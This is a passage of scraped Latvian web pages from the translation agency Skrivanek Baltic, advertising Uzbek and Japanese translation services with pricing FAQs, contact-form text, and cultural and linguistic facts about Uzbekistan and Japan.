albāņu–ebreju, ebreju–albāņu, albāņu–grieķu, grieķu–albāņu; albāņu–gruzīnu; gruzīnu–albāņu; albāņu–hindi; hindi–albāņu; albāņu–holandiešu; holandiešu–albāņu; albāņu–korejiešu; korejiešu–albāņu; albāņu–kurdu; kurdu–albāņu; albāņu–ķīniešu; ķīniešu–albāņu; albāņu–portugāļu; portugāļu–albāņu; albāņu–rumāņu; rumāņu–albāņu; albāņu–slovāku; slovāku–albāņu; albāņu–slovēņu; slovēņu–albāņu; albāņu–turku; turku–albāņu; albāņu–ungāru; ungāru–albāņu u. c. --- > Rakstiski un mutiski tulkojumi uzbeku valodā. Saņemiet cenas aprēķinu bez maksas tikai 15 minūtes! Sazinieties ar mums! - Published: 2022-07-06 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-uzbeku-valoda/ - Translation Priorities: Optional TULKOJUMI UZBEKU VALODĀ / TULKOT UZBEKU VALODĀ CIK MAKSĀ TULKOŠANA UZBEKU VALODĀ? Tulkojumu cena no un uz uzbeku valodu tiek noteikta katram pasūtījumam individuāli. Cenu veido vairākas daļas, saskaņā ar tulkošanas biroja Skrivanek Baltic spēkā esošo cenrādi. Cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no un uz uzbeku valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Skrivanek Baltic tulkošanas projektu vadītāji vienmēr pirms katra pasūtījuma sagatavo detalizētu informāciju par tulkojuma cenu, izpildes termiņu, dokumentu saņemšanas vietu utt. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek Baltic spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Ja vēlaties saņemt cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu mūsu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UZBEKU VALODĀ: dažādu dokumentu tulkošana uzbeku valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; uzbeku valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi uzbeku valodā; individuālie uzbeku valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus uzbeku valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI UZBEKU VALODĀ / TULKOT UZBEKU VALODĀ CIK MAKSĀ TULKOŠANA UZBEKU VALODĀ? Tulkojumu cena no un uz uzbeku valodu tiek noteikta katram pasūtījumam individuāli. Cenu veido vairākas daļas, saskaņā ar tulkošanas biroja Skrivanek Baltic spēkā esošo cenrādi. Cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no un uz uzbeku valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Skrivanek Baltic tulkošanas projektu vadītāji vienmēr pirms katra pasūtījuma sagatavo detalizētu informāciju par tulkojuma cenu, izpildes termiņu, dokumentu saņemšanas vietu utt. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek Baltic spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Ja vēlaties saņemt cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu mūsu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UZBEKU VALODĀ: dažādu dokumentu tulkošana uzbeku valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; uzbeku valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi uzbeku valodā; individuālie uzbeku valodas kursi. Meklējiet valodu risinājumus uzbeku valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR UZBEKU VALODU UN UZBEKISTĀNU Bija laiks, kad Uzbekistāna bija visas pasaules centrs. Zīda ceļi veda līdz Samarkandai, Buhārai un Kokandai. Kamieļu karavānas devās uz šīm maģiskajām pilsētām, nogādājot tur milzu bagātības un zeltu. Uzbekistānā ir uzplaukušas tūkstošiem kultūru, un vēsture ir atstājusi savu ietekmi gan uz Uzbekistānas kultūru, valodu, arhitektūru, tradīcijām un mākslu. Tāpēc Uzbekistāna, bez šaubām, ir visskaistākā, visievērojamākā no Vidusāzijas valstīm. Uzbeku valoda (Oʻzbek tili) ir altajiešu valodu saimes tjurku valoda. Tā ir Uzbekistānas vienīgā un oficiālā valsts valoda. Šajā valodā runā arī daudzi iedzīvotāji Turkmenistānas austrumos, Kazahstānas dienvidos, Tadžikistānas ziemeļos un rietumos, Afganistānas ziemeļos, Pakistānā un Ķīnā. Uzbeku valoda ir arī Turku valstu organizācijas viena no oficiālajām un darba valodām. Uzbeku valodu ir ietekmējušas krievu un tadžiku valodas. Ir novērojama arī netieša arābu valodas ietekme. Uzbeku valodu iedala divos lielos dialektos ─ dienvidu uzbeku valodā un ziemeļu uzbeku valodā (kipčaku-uzbeku dialekts praktiski ir kazahu valodas dialekts). Uzbeku valodai nav oficiāla valodas regulatora. Uzbekistānā ir valsts kontrolēti mediji, preses brīvība nepastāv. Uzbeku nacionālā virtuve ir eklektiska – ēdienos sajaukušās visas to valstu garšas un tradīcijas, kuru tirdzniecības ceļi gadsimtus atpakaļ veduši caur Uzbekistānu. Plovs ir Uzbekistānas nacionālais ēdiens. Interesanti ir tas, ka to izgudroja Aleksandra Lielā pavāri! Rokasspiediens ir pieņemams tikai vīriešu starpā. Uzbeku sievieti sveicina, paklanoties, turot labo roku uz krūtīm. Uzbeku lietišķo mākslu raksturo apgleznota keramika un krāsaini, ornamentāli izšuvumi. Buhāras provincē joprojām praktizē smalku izšūšanu ar zelta diegiem. Trīs Taškentas metro stacijās ir marmora griesti un pīlāri, gravīras zeltā un skaistas lustras. Tās ir ne tikai dažas no skaistākajām stacijām pasaulē, bet arī lielākā dzelzceļa sistēma Vidusāzijā. Katru gadu aptuveni viens miljons studentu, ārstu un valdības darbinieku ir spiesti strādāt Uzbekistānas kokvilnas laukos, lai vāktu kokvilnu valdībai. UZBEKU VALODAS ALFABĒTS Visā tās vēsturē uzbeku valoda ir rakstīta vairākos alfabētos. Arābu iebrukums Uzbekistānā astotajā gadsimtā nomadu turku ciltis pievērsa islāmam. Rezultātā uzbeku valoda gadsimtiem ilgi tika rakstīta persiešu-arābu alfabētā, pirms Padomju Savienība 20. gadu beigās to aizstāja ar latīņu alfabētu. Lielāko pilsētu Taškentas un Fergānas dialekti tobrīd tika lietoti kā standarta uzbeku valoda. Taču rusifikācijas kampaņas ietvaros 1940. gada sākumā latīņu alfabēts tika atcelts un tika ieviesta kirilica. Kopš Padomju Savienības sabrukuma 1993. gadā atkal tika ieviests latīņu alfabēts, lai atvieglotu tirdzniecību un uzlabotu attiecības ar ārvalstīm, un Uzbekistānas valdība to pasludināja par oficiālo alfabētu. Uzbeku valoda ir viena no nedaudzām Vidusāzijas valodām, kurā tiek lietots latīņu alfabēts. Savukārt Ķīnā dzīvojošie uzbeki joprojām izmanto arābu rakstību. 2018. gadā tika publicēts vēl viens alfabēta reformas projekts. Tajā tika ierosināts, attiecīgi, aizstāt digrafus Ch, Sh, Gʻ, Oʻ ar oç, ş ş, Ğ ğ, Ŏ ŏ. 2019. gadā tika publicēts vēl viens reformas projekts. Pagaidām pēdējais valodas reformas projekts bija 2021. gadā, kad Uzbekistānas valdība paziņoja par pilnīgi pāriešanu no kirilicas uz latīņu alfabētu. Neskatoties uz latīņu rakstības oficiālo statusu Uzbekistānā, kirilicas lietošana joprojām ir plaši izplatīta, īpaši reklāmās un izkārtnēs. Laikrakstos var būt jaukti raksti ar virsrakstiem latīņu valodā un rakstiem kirilicā. Arābu rakstība Uzbekistānā vairs netiek lietota, izņemot simboliski ierobežotos tekstos vai čagatai (vecā uzbeku valoda) akadēmiskajos pētījumos. Latīņu uzbeku alfabēts: А а, B b, D d, Е е, F f, G g, H h, I i, J j, K k, L l, М m, N n, О о, P p, Q q, R r, S s, Т t, U u, V v, X x, Y y, Z z, Oʻ oʻ, Gʻ gʻ, Sh sh, Ch ch, Ng ngʼ. Kirilicas uzbeku alfabēts: А а, Б б, В в, Г г, Д д, Е е, Ё ё, Ж ж, З з, И и, Й й, К к, Л л, М м, Н н, О о, П п, Р р, С с, Т т, У у, Ф ф, Х х, Ц ц, Ч ч, Ш ш, Ъ ъ, Ь ь, Э э, Ю ю, Я я, Ў ў, Қ қ CIK SAREŽĢĪTA IR UZBEKU VALODA? Uzbeku valoda tās apguves grūtības ziņā tiek klasificēta kā 2. kategorijas valoda. Tā ir viena no valodām, kurai ir būtiskas valodas un valodas kultūras atšķirības no citām populārākajām valodām pasaulē. Lai brīvi apgūtu uzbeku valodu, būs nepieciešamas vismaz 44 nedēļas vai 1100 mācību stundas. Tiem studentiem, kuru dzimtā valoda ir turku valoda, uzbeku valodas apguve prasīs īsāku laiku. KUR UN CIK DAUDZ RUNĀ UZBEKU VALODĀ? Uzbeku valodas lietotāju skaits sasniedz aptuveni 44 miljonus cilvēku, no kuriem 34 miljoniem tā ir dzimtā valoda un tie dzīvo Uzbekistānā, aptuveni 7 miljoni valodas pratēju dzīvo Afganistānā, 1,6 miljoni Pakistānā, bet aptuveni 5 miljoni pārējā Vidusāzijas daļā, tādējādi uzbeku valoda ierindojas 2. vietā tjurku valodu saimē pēc turku valodas. UZBEKU VALODAS TULKS UN TULKOTĀJS Tulkošanas birojs Skrivanek Baltic piedāvā profesionālu mutisko tulkošanu uzbeku valodā, kā arī rakstiskos un notariāli apliecinātus tulkojumus uz un no uzbeku valodas. Tulkošanu veic tulki ar ilggadēju pieredzi savā nozarē un profesionālām zināšanām jomā, kurā ir tulkojamais oriģinālais teksts. Mūsu pieredze garantē tulkojuma atbilstību oriģinālajam tekstam, saprotamu ietverto informāciju. Par teksta stilistisko uzlabošanu un korektūru parūpēsies mūsu uzbeku valodas korektori un redaktori. Gan juridiskām, gan fiziskām personām piedāvājam mutiskos tulkojumus tiesas sēdēs, kā arī darījumu sarunu gaitas mutiskos tulkojumus uz un no uzbeku valodas. Šobrīd veicam arī sinhrono tulkošanu Zoom un citās tiešsaistes platformās – tās var būt gan lietišķas sarunas, gan biznesa tikšanās, gan arī labprāt tulkojam konferencēs. Veicam tehniskās dokumentācijas, mājaslapu tulkojumus, līgumu un e-komercijas satura rakstiskos tulkojumus no un uz uzbeku valodu. Jebkurai klienta vēlmei mēs noteikti atradīsim nepieciešamo risinājumu un valodas speciālistu. Fiziskās personas nodrošinām ar personu apliecinošu dokumentu tulkojumiem, laulību apliecību, izglītības dokumentu u. c. civiltiesisko dokumentu notariāli apliecinātiem tulkojumiem no un uz uzbeku valodu. UZBEKU VALODA BIZNESĀ Uzbekistānai ir daudzveidīga un sena vēsture. Uzbekistāna, kas kādreiz piederēja senajai Persijas impērijai, ko sagrāba Čingishans un, kuru apspieda Sarkanā armija, tagad ir Centrālās Āzijas postpadomju visvairāk apdzīvotā valsts ar aptuveni 34,23 miljoniem iedzīvotāju. Uzbekistānai ir pieaugoša nozīme pasaules ekonomikā, īpaši gāzes, kokvilnas, naftas, ogļu un svarīgu minerālu jomā. Faktiski Uzbekistāna ir pasaulē otrā lielākā kokvilnas eksportētāja. Tāpat kā kaimiņvalstīs Kazahstānā un Kirgizstānā, Padomju Savienības okupācijas rezultātā Uzbekistānā joprojām plaši runā krievu valodā. Uzbeku valoda tagad ir oficiālā valsts valoda, un tā ir nozīmīga tjurku valodu saimes valoda, kurā runā lielākā daļa etnisko uzbeku valstī. Lai gan daudzi uzbeki prot runāt gan uzbeku, gan krievu valodā, zinātnē, tirdzniecībā un uzņēmējdarbībā vairāk dominē krievu valoda. Abas valodas tiek mācītas skolās, dažas uzsver uzbeku, citas krievu valodu. Kā biznesa valodu uzbeku valodu praktiski izmanto tikai Uzbekistānā. Uzbekistānas iedzīvotājiem tā ir dzimtā un ikdienas saziņas valoda mājās, darba vietās nereti saziņa notiek vēl joprojām krievu valodā. Biznesa komunikācijai ar sadarbības partneriem no citām valstīm tiek izmantota krievu un angļu valoda. LATVIJA UN UZBEKISTĀNA Uzbekistāna ir viens no Latvijas svarīgākajiem sadarbības partneriem Centrālāzijas reģionā. Diplomātiskās attiecības starp Latviju un Uzbekistānu tika nodibinātas 1992. gada 3. novembrī. Uzbekistānas Republikas vēstniecība Latvijā atrodas Rīgā. Uzbekistāna ir Latvijas lielākais tirdzniecības partneris Centrālāzijā. Abu valstu sadarbība notiek tirdzniecības, lauksaimniecības, mežsaimniecības, zaļo tehnoloģiju un IT jomā. Ņemot vērā centienus attīstīt Eiropas un Āzijas savienojamību, abām valstīm nozīmīga ir sadarbība transporta jomā. Veiksmīga sadarbība notiek arī izglītības jomā. Latvijas augstskolas piedāvā Uzbekistānas studentiem Eiropas Savienības līmeņa izglītības ieguves iespējas. Uzbekistāna ierindojas 2. vietā pēc ārvalstu studentu skaita Latvijas augstskolās, visvairāk studentu ir no Indijas. Visplašāk tiek izvēlēti transporta, banku un finanšu, tehnisko zinību, medicīnas studiju virzieni. Uzbekistānas studenti izmanto Latvijas valdības stipendijas un piedalās izglītības iestāžu rīkotajās vasaras skolās. Starp Latvijas Lauksaimniecības Universitāti un Uzbekistānas augstskolām ir izveidotas dubulto diplomu programmas. 2020. gadā Latvijā studēja 1329 uzbeku studenti, kas bija otra lielākā grupa starp visiem ārvalstu studentiem Latvijā. Studentiem un pētniekiem no Uzbekistānas katru gadu tiek piešķirtas arī Latvijas valsts stipendijas, piemēram, 2021. /2022. akadēmiskajā gadā tika piešķirtas 6 stipendijas studijām un 2 stipendijas pētniecībai Latvijas augstskolās un pētniecības organizācijās, kā arī 10 stipendijas dalībai starptautiskajās vasaras skolās. Uzbekistānas kolēģi aktīvi piedalās Latvijas Izglītības un zinātnes ministrijas rīkotajos pasākumos, veicinot labākas prakses apmaiņas saistībā ar izglītības reformām, digitalizāciju, jaunatnes prasmju pilnveidošanu, izglītības kvalitātes uzraudzību. UZBEKU VALODAS DIENA Jau vairākus gadus Uzbekistānā tiek atzīmēts ļoti svarīgs un nozīmīgs notikums – Uzbeku valodas diena. Datums nav izvēlēts nejauši – 21. oktobris ir uzbeku valodai valsts valodas statusa piešķiršanas diena. Tieši šajā 1989. gada dienā tika pieņemts likums “Par valsts valodu”. Pirmo reizi savu valsts valodu oficiāli uzbeki svinēja 2019. gadā, tieši 30 gadus pēc uzbeku valsts valodas statusa apstiprināšanas. Saskaņā ar pieņemto likumu, beidzot vienai no tautas svarīgākajām vērtībām bija juridisks statuss. Valoda ir katras tautas lielākā bagātība. Valoda atspoguļo tautas vēsturi un kultūru, tā ir nācijas veidotāja. Tajā pašā laikā valodai ir liela nozīme sociālajā attīstībā. Uzbeku valoda ir dzimtā valoda absolūtākajam vairākumam Uzbekistānas iedzīvotāju. Tas ir svarīgs Uzbekistānas un tās kopienas vienotības un integritātes faktors. Svarīgs uzdevums ir nodrošināt uzbeku valodas kā uzbeku tautas nacionālās kultūras un identitātes izpausmes līdzekļa vispusīgu attīstību, kā arī konsekventi un pilnvērtīgi realizēt šīs valodas kā valsts valodas potenciālu. Neatkarības gados īpaša uzmanība tiek pievērsta uzbeku literārās valodas attīstībai. Līdz ar to uzbeku valoda ir kļuvusi par nozīmīgu saziņas līdzekli. Tāpat uzbeku valoda ir kļuvusi par aktīvu saziņas līdzekli starptautiskā mērogā. Valodas plašā izmantošana starptautiskās sarunās un tas, ka daudzās ārvalstu augstskolās un zinātniskajās institūcijās ir izveidoti uzbeku valodas centri, pieaugot to cilvēku skaitam, kuri interesējas par uzbeku valodas apguvi, liecina par uzbeku valodas izplatību visā pasaulē. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UZBEKU VALODĀ: dažādu dokumentu tulkošana uzbeku valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; uzbeku valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi uzbeku valodā; individuālie uzbeku valodas kursi. UZBEKU VALODAS KOMBINĀCIJAS: uzbeku–latviešu; latviešu–uzbeku; uzbeku–lietuviešu; lietuviešu–uzbeku; igauņu–uzbeku; uzbeku–igauņu; angļu–uzbeku; uzbeku–angļu; krievu–uzbeku; uzbeku–krievu; poļu–uzbeku; uzbeku–poļu; ukraiņu–uzbeku; uzbeku–ukraiņu; čehu–uzbeku; uzbeku–čehu; vācu–uzbeku; uzbeku–vācu; spāņu–uzbeku; uzbeku–spāņu; franču–uzbeku; uzbeku–franču; itāļu–uzbeku; uzbeku–itāļu; dāņu–uzbeku; uzbeku–dāņu; zviedru–uzbeku; uzbeku–zviedru; norvēģu–uzbeku; uzbeku–norvēģu; somu–rumāņu; uzbeku–somu, uzbeku–arābu; arābu–uzbeku; uzbeku–armēņu, armēņu–uzbeku; uzbeku–baltkrievu, baltkrievu–uzbeku; bulgāru–uzbeku, uzbeku–bulgāru; uzbeku–ebreju, ebreju–uzbeku, uzbeku–grieķu, grieķu–uzbeku; uzbeku–gruzīnu; gruzīnu–uzbeku; uzbeku–hindi; hindi–uzbeku; uzbeku–holandiešu; holandiešu–uzbeku; uzbeku–korejiešu; korejiešu–uzbeku; uzbeku–kurdu; kurdu–uzbeku; uzbeku–ķīniešu; uzbeku–ukraiņu; uzbeku–portugāļu; portugāļu–uzbeku; uzbeku–rumāņu; rumāņu–uzbeku; uzbeku–slovāku; slovāku–uzbeku; uzbeku–slovēņu; slovēņu–uzbeku; uzbeku–turku; turku–uzbeku; uzbeku–ungāru; ungāru–uzbeku u. c. --- > Rakstiski un mutiski tulkojumi japāņu valodā. Saņemiet cenas aprēķinu bez maksas tikai 15 minūtes! Sazinieties ar mums! - Published: 2022-07-06 - Modified: 2025-07-08 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-japanu-valoda/ - Translation Priorities: Optional TULKOJUMI JAPĀŅU VALODĀ / TULKOT JAPĀŅU VALODĀ CIK MAKSĀ TULKOJUMI JAPĀŅU VALODĀ? Tulkojumu cena no un uz japāņu valodu tiek noteikta katram pasūtījumam individuāli. Cenas noteikšanā vērā tiek ņemti vairāki aspekti – secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā tehniskais nodrošinājums, tulku skaits utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura sarežģītība, atkārtojumi tekstā, grafiskā apstrāde un formatēšana, koriģēšana, redaktora darba samaksa, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no un uz japāņu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Skrivanek Baltic tulkošanas projektu vadītāji vienmēr sniedz detalizētu informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Parasti cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM JAPĀŅU VALODĀ: dažādu dokumentu tulkošana japāņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; japāņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi japāņu valodā; individuālie japāņu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus japāņu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI JAPĀŅU VALODĀ / TULKOT JAPĀŅU VALODĀ CIK MAKSĀ TULKOJUMI JAPĀŅU VALODĀ? Tulkojumu cena no un uz japāņu valodu tiek noteikta katram pasūtījumam individuāli. Cenas noteikšanā vērā tiek ņemti vairāki aspekti – secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā tehniskais nodrošinājums, tulku skaits utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura sarežģītība, atkārtojumi tekstā, grafiskā apstrāde un formatēšana, koriģēšana, redaktora darba samaksa, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no un uz japāņu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Skrivanek Baltic tulkošanas projektu vadītāji vienmēr sniedz detalizētu informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Parasti cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM JAPĀŅU VALODĀ: dažādu dokumentu tulkošana japāņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; japāņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi japāņu valodā; individuālie japāņu valodas kursi. Meklējiet valodu risinājumus japāņu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR JAPĀŅU VALODU Japāņu valodas izcelsme joprojām nav noteikta, gluži tāpat kā pašas japāņu tautas izcelsme. Tiek uzskatīts, ka japāņu valoda ir veidojusies uz altajiešu un austronēziešu valodu pamata. Tā ir izolēta valoda, lai gan pastāv teorijas, ka tā varētu būt saistīta arī ar korejiešu valodu. Japāņu valodas nozīme pasaulē ir saistīta ar Japānas ekonomikas augsto attīstības līmeni. Japāņi savu valodu sauc divējādi. Visizplatītākais nosaukums ir nihongo, kas, burtiski tulkojot, nozīmē “japāņu valoda”, bet nereti tiek izmantots arī termins kokugo, kas nozīmē “valsts valoda”. Japāņu valodas juridiskais statuss nav reglamentēts. Tomēr faktiski tā funkcionē kā Japānas valsts valoda. Japāņu valodu tradicionāli iedala trīs dialektos: austrumu, rietumu un Kjūsjū. Tajos ietilpst vairāk nekā 100 izlokšņu atkarībā no klasifikācijas pakāpēm. Austrumu dialektā ir Tokijas apkaimes izloksne, kas tika izveidota kā literārās valodas un vairāku izlokšņu sajaukums un faktiski tiek uzskatīta par standartizētās japāņu valodas paraugu. Blakus trijiem dialektiem atsevišķi pastāv arī Rjūkjū dialekts, kas tiek runāts valsts dienvidu salās Okinavā. Ņemot vērā ģeogrāfisko un 450 gadu ilgo politisko atšķeltību no pārējām Japānas daļām, kā arī ievērojamu atšķirtību no pārējiem dialektiem, Rjūkjū dialekts var tikt uzskatīts par atsevišķu valodu. Nepieciešamība pēc japāņu literārās valodas radās 19. gs. otrajā pusē, kad sākās tā dēvētā vesternizācija un veidojās centralizēta valsts. Līdz 1872. gada administratīvajai reformai visā Japānā pastāvēja 261 feodālā vienība un valodas standartizācijas procesā ietilpa izlokšņu līdzināšana. Tika mēģināts arī samazināt rakstītās un runātās valodas sašķeltību, kas bija izveidojusies gadsimtu gaitā. Daiļliteratūrā, laikrakstos, lietišķajos tekstos tika meklēts jauns valodas stils. Rietumeiropas zinātņu un kultūras ietekmē tika veidoti daudzi jaundarinājumi, tostarp abstraktas nozīmes vārdi un zinātniskie termini, kas reizēm tika kalkēti no Rietumeiropas valodām. Japānā runāto zilbju ātrums ir gandrīz astoņas zilbes sekundē. Tas pārspēj spāņu, franču un itāļu valodu izrunas raitumu. Faktiski japāņu valoda tiek uzskatīta par vienu no unikālākajām valodām pasaulē, kurai nav tiešas atvasinātās valodas, no kuras tā ir radusies. Citas šādas valodas ir šumeru, korejiešu un daudzas indiāņu valodas. Japāņu valodā nav daudzskaitļa. Japāņu valodā nav nekādas atšķirības starp 